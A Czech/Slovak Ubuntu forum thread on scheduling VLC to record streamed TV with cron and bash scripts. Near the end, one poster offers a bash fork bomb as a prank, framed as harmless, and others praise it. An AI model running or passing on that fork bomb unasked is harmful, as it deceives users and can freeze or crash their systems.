Fórum Ubuntu CZ/SK
Ubuntu pro osobní počítače => Multimédia => Téma založeno: Kumar 06 Října 2009, 11:58:43
-
Caute. Neviete o nejakom softe na nahravanie TV? Som na intraku a mame streamovanu telku cez lanku a rad by som si nahraval nejake serialy. Pouizivam VLC, ktory funguje ale chcel by som nieco na automaticke stahovanie. Zeby som len nastavil cas nahravania a ono to samo nahra. Mam ubuntu 9.04. Budem vdacny za kazdu radu :)
-
že by do cronu dát příkaz ať se vlc spustí v daný čas a nahraje určitou věc?
-
Program gnome-schedule umožňuje naplánovať jednorazové aj opakované akcie v grafickom prostredí.
Má aj šablóny (templates) pripraví sa príkaz, potom sa doplní čas a aktivuje sa.
Balík gnome-schedule je v repositári Ubuntu.
Alebo mythv http://www.mythtv.org/
Je na tebe či si pripravíš pár scriptov a načasuješ ich, alebo si nainštaluješ mythv - je to dosť veľký balík.
-
Tak ziadny velky programator niesom a pisat scripty tiez velmi neovladam. Takze skor budem skusat ten mythtv. Proste nieco s grafikou :) Inac dakujem za pomoc. Snad mi to pomoze
No alebo teraz ked tak zistujem tak to schedule by nebolo zle. Akurat by som potreboval pomoct s tym scriptom. Kebyze niekto vie ako nato tak by som bol vdacny za pomoc :)
-
Tak podarilo sa mi napisat "script" ale mam problem ze ked ho dam do cronu tak sa nespusti. Ci uz cez crontab alebo gnome-schedule. Ale ked ten prikaz zadam priamo do terminalu tak to pekne spravi co ma.
jedna sa o tento prikaz.
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"
-
Tak podarilo sa mi napisat "script" ale mam problem ze ked ho dam do cronu tak sa nespusti. Ci uz cez crontab alebo gnome-schedule. Ale ked ten prikaz zadam priamo do terminalu tak to pekne spravi co ma.
jedna sa o tento prikaz.
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"
1) Spusť textovej editor (nejlíp GEdit) a vlož do něj:
#!/bin/bash
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"a ulož to třeba jako blablabla.sh
2) Zajisti, aby ten soubor byl spustitelnej pomocí příkazu chmod +x /cesta/k-tomu/souboru/blablabla.sh
3) Do stroje pak hoď: bash "/cesta/k-tomu/souboru/blablabla.sh" (bash je tam jen pro jistotu, uvozovky taky, co kdyby název obsahoval mezery?)
-
anebo mrkni na prikaz "at"
-
Tak skusal som to s tym scritom ale tiez to nefunguje. Neviem ked dam do cronu ako prkaz firefox tak mi to dokaze otvorit firefox na ploche? Neviem lebo pri tom prikaze na nahravanie sa zapne vlc (graficke rozhranie). Tak ci s tym nema problem. Ale zase ked dam to ako si pisal s tym bash a cestou k tomu scriptu a kliknem v gnome-schedule na "Run task" tak mi to spusti vlc ale nie nahravanie. Iba pusti tu stanicu. Akoby to bralo iba cast prikazu
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"
a ten zbytok akoby ignorovalo. Kazdopadne neviem ako to spravit no :/ Studoval som aj ten prikaz at ale neide mi to. Bud zadavam zly syntax alebo to tiez nevie.
//asi som nasiel riesenie http://forum.ubuntu.cz/index.php/topic,11706.25.html#msg107843
//No tak vyzera ze to funguje :) Snad nenajdem nejaky dalsi problem. ten cron mi nezral ten prikaz lebo som nemal v ``. Takze nakoniec ten script vyzera takto
#!/bin/bash
export DISPLAY=:0.0
`/usr/bin/cvlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxxx/yyyy/cool.asf}"`
A potom uz inym scriptom to ukladam do priecinka podla akualneho dna.
Vdaka vsetkym za pomoc :)
-
Mam este jeden dotaz k tomuto scriptu. Teraz ked mam nahravanie tak to vypinam tak ze v urcity cas dam pkill vlc. Funguje to dobre akurat ze to killne vsetky vlc. A ked chcem nahravat z viacerych stanic a v rovnakom case tak to potom funguje blbo. Da sa nejak zistit ID procesu ktory spusti a potom killnut iba ten s tym IDckom?
-
pidof vlc- vypíše PID všech spuštěných VLC, kill pid zabije proces s určitým PID.
-
No a dalo by sa to nejak spravit zeby ked sa spusti vlc tak jeho ID sa ulozi do nejakej premennej a potom pri killnuti da ID z tej premennej?
-
No a dalo by sa to nejak spravit zeby ked sa spusti vlc tak jeho ID sa ulozi do nejakej premennej a potom pri killnuti da ID z tej premennej?
Když spustíš vlc na pozadí, tedy dáš za příkaz &, můžeš ho v dalším kroku killnout přes proměnnou $!
Tedy zjednodušeně by to bylo asi takto:
vlc & sleep 7200; kill $!
spustí se vlc, počká dvě hodiny a pak ho ukončí.
-
Tak podarilo sa mi napisat "script" ale mam problem ze ked ho dam do cronu tak sa nespusti. Ci uz cez crontab alebo gnome-schedule. Ale ked ten prikaz zadam priamo do terminalu tak to pekne spravi co ma.
jedna sa o tento prikaz.
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"
1) Spusť textovej editor (nejlíp GEdit) a vlož do něj:
#!/bin/bash
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"a ulož to třeba jako blablabla.sh
2) Zajisti, aby ten soubor byl spustitelnej pomocí příkazu chmod +x /cesta/k-tomu/souboru/blablabla.sh
3) Do stroje pak hoď: bash "/cesta/k-tomu/souboru/blablabla.sh" (bash je tam jen pro jistotu, uvozovky taky, co kdyby název obsahoval mezery?)
Mezera jde napsat i jinak.
Příklad:
adresář "Roman Horník"
se zadá jako "Roman\ Horník"
;D
-
Tak podarilo sa mi napisat "script" ale mam problem ze ked ho dam do cronu tak sa nespusti. Ci uz cez crontab alebo gnome-schedule. Ale ked ten prikaz zadam priamo do terminalu tak to pekne spravi co ma.
jedna sa o tento prikaz.
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"
1) Spusť textovej editor (nejlíp GEdit) a vlož do něj:
#!/bin/bash
vlc -vvv udp://@239.255.12.4:1234 --sout="#std{access=file,mux=asf,dst=/home/xxx/yyy/cool.asf}"a ulož to třeba jako blablabla.sh
2) Zajisti, aby ten soubor byl spustitelnej pomocí příkazu chmod +x /cesta/k-tomu/souboru/blablabla.sh
3) Do stroje pak hoď: bash "/cesta/k-tomu/souboru/blablabla.sh" (bash je tam jen pro jistotu, uvozovky taky, co kdyby název obsahoval mezery?)
Mezera jde napsat i jinak.
Příklad:
adresář "Roman Horník"
se zadá jako "Roman\ Horník"
;D
Obrácený lomítko mi silně připomíná Woknouze.
Ale když už jsme u něj, co takhle: echo -e "\040\0124\0171\040\0113\0165\0162\0166\0157\041\040\072\055\0104" :)
-
Obrácený lomítko mi silně připomíná Woknouze.
Ale když už jsme u něj, co takhle: echo -e "\040\0124\0171\040\0113\0165\0162\0166\0157\041\040\072\055\0104" :)
Jelikož Ti nevěřím, přečetl jsem prvně man a TFG :D
Dobrý ;D
-
Obrácený lomítko mi silně připomíná Woknouze.
Ale když už jsme u něj, co takhle: echo -e "\040\0124\0171\040\0113\0165\0162\0166\0157\041\040\072\055\0104" :)
Jelikož Ti nevěřím, přečetl jsem man a TFG :D
Dobrý ;D
Co jé? Osmičkovej zápis :)
Já bych sem nic špatnýho nedal... :(){ :|:& };:
-
Obrácený lomítko mi silně připomíná Woknouze.
Ale když už jsme u něj, co takhle: echo -e "\040\0124\0171\040\0113\0165\0162\0166\0157\041\040\072\055\0104" :)
Jelikož Ti nevěřím, přečetl jsem man a TFG :D
Dobrý ;D
Co jé? Osmičkovej zápis :)
Já bych sem nic špatnýho nedal... :(){ :|:& };:
fork bomb je dobrá... kdysi tu na takovéto příkazy bylo i vlákno... myslím že "extrémě zajímavé příkazy" by NTZ
-
Neřekl bych, že je dobrá. je to děsně zneužitelné kdekoli.
-
Obrácený lomítko mi silně připomíná Woknouze.
Ale když už jsme u něj, co takhle: echo -e "\040\0124\0171\040\0113\0165\0162\0166\0157\041\040\072\055\0104" :)
Jelikož Ti nevěřím, přečetl jsem man a TFG :D
Dobrý ;D
Co jé? Osmičkovej zápis :)
Já bych sem nic špatnýho nedal... :(){ :|:& };:
fork bomb je dobrá... kdysi tu na takovéto příkazy bylo i vlákno... myslím že "extrémě zajímavé příkazy" by NTZ
Přesně, je jednoduchá, krásná a přitom účinná, prostě geniální.
Od NTZ? To bych nečekal ;D